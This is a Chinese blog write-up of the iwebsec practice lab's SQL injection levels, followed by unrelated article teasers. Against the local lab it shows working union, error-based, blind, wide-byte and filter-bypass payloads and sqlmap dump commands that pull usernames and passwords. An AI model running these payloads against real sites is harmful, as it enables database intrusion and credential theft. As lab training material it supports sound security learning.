绕过waf mysql爆库_iwebsec刷题记录-SQL注入漏洞

210169

被推荐了这个web平台，感觉挺适合新手的，网上搜了下没看到有人写wp，这里本入门萌新来稍微整理下自己解题的过程

210169

SQL注入漏洞

01-数字型注入

http://localhost:32774/sqli/01.php?id=1'

发现有报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’ LIMIT 0,1’ at line 1

猜测语句

WHERE id=$id LIMIT 0,1

验证一下

210169

210169

查列数

210169

210169查显示位

210169

爆库

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,group_concat(schema_name)%20from%20information_schema.schemata%20--+

210169

爆表

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,(select%20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database())%20--+

210169

爆列

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,(select%20group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema%20=database()%20and%20table_name=%27users%27)%20--+

210169

爆数据

http://localhost:32774/sqli/01.php?id=1%20union%20select%201,2,(select%20group_concat(concat(role,0x7e,username,0x3A,password,0x7e))%20from%20users)%20%20--+

210169

02-字符型注入

http://localhost:32774/sqli/02.php?id=1' or '1=2–'

报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘’1’ or ’1=2–’’ LIMIT 0,1’ at line 1

看源码，发现SET NAMES gbk猜测宽字节注入

尝试

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,3 --+

210169

爆库

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata --+

210169

爆表

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+

210169

爆数据

http://localhost:32774/sqli/02.php?id=1%df' and 1=2 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users) --+

210169

这里除了前面通过宽字节来让mysql以为是个汉字绕过检查其他和第一题一样

03-bool注入

http://localhost:32774/sqli/03.php?id=1 and 1=2 --+

210169

210169

检测出来存在是布尔注入就懒得写jio本了，sqlmap直接梭

爆库

sqlmap -u http://localhost:32774/sqli/03.php?id=1 --current-db

210169

爆表

sqlmap -u http://localhost:32774/sqli/03.php?id=1 -D iwebsec --tables

210169

爆列

sqlmap -u http://localhost:32774/sqli/03.php?id=1 -D iwebsec -T users --columns

210169

爆数据

sqlmap -u http://localhost:32774/sqli/03.php?id=1 -D iwebsec -T users -C role,username,password --dump

210169

04-sleep注入

自己的脚本真的很丑，这里就不丢脸了

时间盲注爆库

sqlmap -u http://localhost:32774/sqli/04.php?id=1 -p id --technique T --time-sec 3 --current-db

210169

爆表

sqlmap -u http://localhost:32774/sqli/04.php?id=1 -p id --technique T --time-sec 3 -D iwebsec --tables

210169

爆列

sqlmap -u http://localhost:32774/sqli/04.php?id=1 -p id --technique T --time-sec 3 -D iwebsec -T user --columns

210169

爆数据

sqlmap -u http://localhost:32774/sqli/04.php?id=1 -p id --technique T --time-sec 3 -D iwebsec -T user -C id,password,username --dump

210169

05-updatexml注入

这题限制条件没弄好，用第一题的payload都能跑

但还是用题目的预期过一遍

and (updatexml(1,concat(0x7e,(select version()),0x7e),1))

先检验

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select version()),0x7e),1))

存在注入，并使用updatexml函数注入

爆库

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1))

210169

爆表

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select (select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e),1))

210169

爆列

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select (select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')),0x7e),1))

210169

爆数据

http://localhost:32774/sqli/05.php?id=1 and (updatexml(1,concat(0x7e,(select (select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)),0x7e),1))

210169

06-宽字节注入

这题看题目就是宽字节，和之前第二题的做法重了，就换个方法，用sqlmap过一遍

这里需要知道的是直接

sqlmap -u http://localhost:32774/sqli/06.php?id=1

是找不到注入的,需要

sqlmap -u http://localhost:32774/sqli/06.php?id=1%df%27

或者使用tamper=”unmagicquotes”

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" --current-db

爆库

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" --current-db

爆表

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" -D iwebsec --tables

爆列

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" -D iwebsec -T users --colums

爆数据

sqlmap -u "http://localhost:32774/sqli/06.php?id=1" --tamper="unmagicquotes" -D iwebsec -T users -C role,username,password --dump

210169

07-空格过滤绕过

看题可知过滤了空格，这里我选择用括号让参数之间没有空格

http://localhost:32774/sqli/07.php?id=(0)or(1)=(1)

210169

查显示位

http://localhost:32774/sqli/07.php?id=(0)%0aunion%0aselect(1),(2),(3)

210169

爆库

http://localhost:32774/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(schema_name)%0Afrom%0Ainformation_schema.schemata)

210169

爆表

localhost:32774/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(table_name)%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database())

210169

爆列

http://localhost:32774/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(column_name)%0Afrom%0Ainformation_schema.columns%0awhere%0atable_schema=database()and(table_name='users'))

210169

爆数据

http://localhost:32774/sqli/07.php?id=(0)%0Aunion%0Aselect(1),(2),(select%0Agroup_concat(concat(role,0x7e,username,0x3A,password,0x7e))%0Afrom%0Ausers)

210169

08-大小写过滤绕过

常规测试后发现测试点在select上，根据题目只要对select进行大小写变换就行

显示位

210169

210169

爆库

http://localhost:32774/sqli/08.php?id=1 union Select 1,2,group_concat(schema_name) from information_schema.schemata--+

210169

爆表

http://localhost:32774/sqli/08.php?id=1 union Select 1,2,(Select group_concat(table_name) from information_schema.tables where table_schema=database())--+

210169

爆列

http://localhost:32774/sqli/08.php?id=1 union Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')--+

210169

爆数据

http://localhost:32774/sqli/08.php?id=1 union Select 1,2,(Select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)--+

210169

09-双写关键字绕过

210169

确认存在注入

发现过滤了select字符串，题目可得需要用双写来绕过，试一下

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,3--+

绕过的原因

因为在匹配到”se”+”select”+”lect”中的select后替换为空后前后拼接起来就是select成功的绕过唯一一次检验

爆库

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,group_concat(schema_name) from information_schema.schemata--+

210169

爆表

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,(seselectlect group_concat(table_name) from information_schema.tables where table_schema=database())--+

210169

爆列

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,(seselectlect group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')--+

210169

爆数据

http://localhost:32774/sqli/09.php?id=1 union seselectlect 1,2,(seselectlect group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users)--+

210169

10-双重url编码绕过

根据题目可以猜到源码对$id进行了一次urldecode，在测试的过程中还能发现对select进行了waf，所以只需要根据第八题的payload进行两次urlencode即可

脚本

a = ""

print urllib.quote(urllib.quote(a))

本以为是这样的

结果完全没派上用场，第八题的语句完全照搬都能跑得通

210169

但出于对题目的尊重还是用双重url编码绕过一下吧

爆库

原句

1 union Select 1,2,group_concat(schema_name) from information_schema.schemata#

编码后

1%2520union%2520Select%25201%252C2%252Cgroup_concat%2528schema_name%2529%2520from%2520information_schema.schemata%2523

最终

http://localhost:32774/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252Cgroup_concat%2528schema_name%2529%2520from%2520information_schema.schemata%2523

210169

爆表

原句

1 union Select 1,2,(Select group_concat(table_name) from information_schema.tables where table_schema=database())#

编码后

1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528table_name%2529%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2529%2523

最终

http://localhost:32774/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528table_name%2529%2520from%2520information_schema.tables%2520where%2520table_schema%253Ddatabase%2528%2529%2529%2523

210169

爆列

原句

1 union Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name='users')#

编码后

1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528column_name%2529%2520from%2520information_schema.columns%2520where%2520table_schema%2520%253Ddatabase%2528%2529%2520and%2520table_name%253D%2527users%2527%2529%2523

最终

http://localhost:32774/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528column_name%2529%2520from%2520information_schema.columns%2520where%2520table_schema%2520%253Ddatabase%2528%2529%2520and%2520table_name%253D%2527users%2527%2529%2523

210169

爆数据

原句

1 union Select 1,2,(Select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users) #

编码后

1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528concat%2528role%252C0x7e%252Cusername%252C0x3A%252Cpassword%252C0x7e%2529%2529%2520from%2520users%2529%2520%2523

最终

http://localhost:32774/sqli/10.php?id=1%2520union%2520Select%25201%252C2%252C%2528Select%2520group_concat%2528concat%2528role%252C0x7e%252Cusername%252C0x3A%252Cpassword%252C0x7e%2529%2529%2520from%2520users%2529%2520%2523

210169

11-十六进制绕过

先按正常步骤去做

查显示位

http://localhost:32774/sqli/11.php?id=1%20union%20select%201,2,3--+

爆库

localhost:32774/sqli/11.php?id=1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

爆表

localhost:32774/sqli/11.php?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database())--+

查列的时候问题就来了，发现引号被过滤了

210169

这里就考虑到使用user的十六进制绕过限制

210169

爆列

http://localhost:32774/sqli/11.php?id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema =database() and table_name=0x75736572)--+

210169

爆数据

http://localhost:32774/sqli/11.php?id=1 union select 1,2,(select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from user) --+

210169

12-等价函数替换过滤绕过

简单尝试后可知对等号进行了waf，那么爆库的语句还是正常的

http://localhost:32774/sqli/12.php?id=1 union select 1,2,group_concat(schema_name) from information_schema.schemata--+

这里就根据题目，使用与等号等价的函数进行替换，这里我选择用like，因为如果没有使用百分号,like子句与等号的效果是一样的

爆表

http://localhost:32774/sqli/12.php?id=1 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema like database())--+

爆列

http://localhost:32774/sqli/12.php?id=1 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema like database() and table_name like 'users')--+

210169

爆数据

http://localhost:32774/sqli/12.php?id=1 union select 1,2,(select group_concat(concat(role,0x7e,username,0x3A,password,0x7e)) from users) --+

13-二次注入

这题其实挺简单的，简单的整理下流程

1.注册用户，输入username，password，email

2.找回密码，输入存在的邮箱即可返回用户名和密码

那么问题来了，这是一道注入题，从注入的角度来说应该是在username放入查询语句再通过找回密码来执行

但由于我很懒，我选择直接用万能密码法

210169

210169

这样就会使查询语句查的是admin而不是admin'#

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/550061.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

【Vue】组件的基础与组件间通信

【Vue】组件的基础与组件间通信

转载：https://segmentfault.com/a/1190000016409329 Vue.js 最核心的功能就是组件（Component），从组件的构建、注册到组件间通信，Vue 2.x 提供了更多方式，让我们更灵活地使用组件来实现不同需求。 一、构建组…
阅读更多...
java 自定义map_自定义写实现java中map中的功能（简易）

java 自定义map_自定义写实现java中map中的功能（简易）

package test;/*** 通过自定义来实现一个map功能* 存放键值对，根据键对象找到一个值对象，确保没有重复*/import java.util.Map;public class test01 {SxtEntry[] arrnew SxtEntry[990];int size;//定义函数实现将键值对放入数组public void put(Object k…
阅读更多...
设计模式的功力长了！

设计模式的功力长了！

今天醒来后，感觉理解了原来比较复杂的一些设计模式，很好，就像小时候感觉长高一样。学习设计模式有一年多了。进步需要时间！
阅读更多...
java 验证码校验_JavaWeb验证码校验功能代码实例

java 验证码校验_JavaWeb验证码校验功能代码实例

后台生成验证码工具方法/** 设置图片的背景色*/public static void setBackGround(Graphics g, int WIDTH, int HEIGHT) {// 设置颜色g.setColor(Color.WHITE);// 填充区域g.fillRect(0, 0, WIDTH, HEIGHT);}/** 设置图片的边框*/public static void setBorder(Graphics g, int…
阅读更多...
如何做不浮躁的人

如何做不浮躁的人

51CTO著名专家老刘，连发了两篇博文，老刘的博客http://2844337.blog.51cto.com/ 都是劝谏我们年轻人不要浮躁。两篇文章用故事教育我们一定不要浮躁，但是如何做到不浮躁，老刘没有说。我想借着这个主题，简单谈一下自己的…
阅读更多...
hasset java_java HashSet的使用

hasset java_java HashSet的使用

今天在写代码时想要使用HashSet，由于之前并不了解，就在网上查了一下原理及使用方法。HashSet原理该类实现了Set接口，HashSet中不允许元素重复，不保证集合中元素的顺序，元素可为null，但最多只能一个。对于 H…
阅读更多...
Oracle tips

Oracle tips

存储过程无法编译和抛掉！！我在一个项目组中与同事一起开发存储过程，碰到过其他人在调试存储过程时，我无法编译同一个存储过程的问题。但是，现在我使用pl/sql dev将其他的进程都杀掉后－－包括在调…
阅读更多...
TCP拥塞控制机制

TCP拥塞控制机制

为了防止网络的拥塞现象，TCP提出了一系列的拥塞控制机制。最初由V. Jacobson在1988年的论文中提出的TCP的拥塞控制由“慢启动(Slow start)”和“拥塞避免(Congestion avoidance)”组成，后来TCP Reno版本中又针对性的加入了“快速重传(Fast retransmit)”…
阅读更多...
java中类似sort_java中的Sort函数，你值得看

java中类似sort_java中的Sort函数，你值得看

基于C语言中的sort如此这么方便，自然而然，java中也有类似C的sort函数。1.普通数组：Arrays.sort(数组名，开始位置，结束位置)。2.类中属性排序：模板：class A{int n;}class cmp implement Comparat…
阅读更多...
明天启程去北京：）

明天启程去北京：）

去北京参加为期5天的微软sps培训，公司穷呀，所以只能做火车去了，17日下午到达北京，18日－22日5天培训，23日到青岛，呆两三天然后26日下午回家：）有北京和青岛的朋友可以联系我…
阅读更多...
多线程java 银行_Java 多线程 之 银行ATM实例

多线程java 银行_Java 多线程 之 银行ATM实例

package com.thread;import java.util.Scanner;public class TestBank {public static void main(String[] args) {Bank bank new Bank();Thread lingming new Thread(bank, "李明");Thread wangtao new Thread(bank, "王涛");lingming.start();try {Th…
阅读更多...
CSDN登陆校验码模式识别程序

CSDN登陆校验码模式识别程序

下班后，吃饭前快速写了这么一个东西，以证明图片验证码的脆弱。防君子，不防XX。本来应该使用HTTP协议直接从CSDN的登陆页面DOWN校验图片的，因为时间仓促，所以没有仔细设计。只是做一个示例，还要麻烦大家手工…
阅读更多...
C语言中整形数组、字符数组、字符串的区别

C语言中整形数组、字符数组、字符串的区别

一、 第一 整型数组的存放，数组最后是不加\0的，字符串会自动加上，因此存放字符的时候数组的大小要比实际字符的多一个 第二 整型数组 每一个单元是4个字节的，字符串是一个一个字符存放的，每个字符占一个 二&#xff0c…
阅读更多...
java hibernate 表关联_Hibernate多表关联

java hibernate 表关联_Hibernate多表关联

一、多对一进行关联(多个学生对应同一间宿舍)---学生是主体，宿舍是附体，关联关系在主体学生中设置，在学生类中设置宿舍类，由于宿舍类只有一个可以直接用类来设置,在映射学生类(User)中包含宿舍这个类(Room),在映射配置文件(User.h…
阅读更多...
getchar、putchar、puts、gets

getchar、putchar、puts、gets

getchar(字符) 输入获取一个字符 putchar(字符) 输出控制台一个字符 scanf（）格式化输入 printf（） 格式化输出 gets(arr) 输入一个字符串给已经声明的数组arr puts(字符串或者字符数组名）输出一个字符串 转载于:https…
阅读更多...
关于异性朋友

关于异性朋友

听到别人在问一个问题：“可是你在大学里又有几个很要好的女性朋友？” 　　想到自己，却是一个没有。奇怪啊，我虽然木讷，但还不到白痴的地步，怎么会一个没有呢？思讨一下，明白了&#…
阅读更多...
java全文检索工具_全文检索工具elasticsearch：第三章： Java程序中的应用

java全文检索工具_全文检索工具elasticsearch：第三章： Java程序中的应用

搭建模块创建二个项目gmall-list-service的appliction.properties:server.port8073spring.datasource.urljdbc:mysql://localhost:3306/gmall?characterEncodingUTF-8spring.datasource.usernamerootspring.datasource.passwordrootmybatis.configuration.map-underscore-to-c…
阅读更多...
win10 多用户登陆

win10 多用户登陆

win10 多用户登陆 一般的直接下载就可以用了。 核心参考链接github 支持 1903 支持最新版本可以需要这个1903支持项参考页面 上述页面的下载文件页面1903支持页面 关于上述链接下载文件readme的解释 RDP Wrapper Library Updater --------------------------- <Add support …
阅读更多...
DNN(DotNetNuke)注册用户终于突破10万人了，其3.0也终于跳票了...

DNN(DotNetNuke)注册用户终于突破10万人了，其3.0也终于跳票了...

是的&#xff0c;尽管我很不愿意&#xff0c;但的确是跳票了&#xff0c;或许跳票是软件开发的惯例了。据说会在圣诞节那天发布&#xff0c;也可能是月底&#xff0c;没有人知道&#xff1a;http://www.asp.net/Forums/ShowPost.aspx?tabindex1&PostID734458 不过&#xf…
阅读更多...
java虚拟机MyEclipse_Eclipse和MyEclipse运行环境java虚拟机jvm设置，自己设置jre

java虚拟机MyEclipse_Eclipse和MyEclipse运行环境java虚拟机jvm设置，自己设置jre

Eclipse运行环境java虚拟机jvm设置&#xff0c;自己设置jre浅谈Eclipse寻找JVM(JRE)的顺序机制Eclipse也是一个普通的Java程序&#xff0c;因此必须有一个JRE做为运行环境。如果你的机器上没有安装任何JRE(或者JDK&#xff0c;本文不做二者的区分)&#xff0c;那么点击eclipse.…
阅读更多...
最新文章

Copyright @ 2022~2023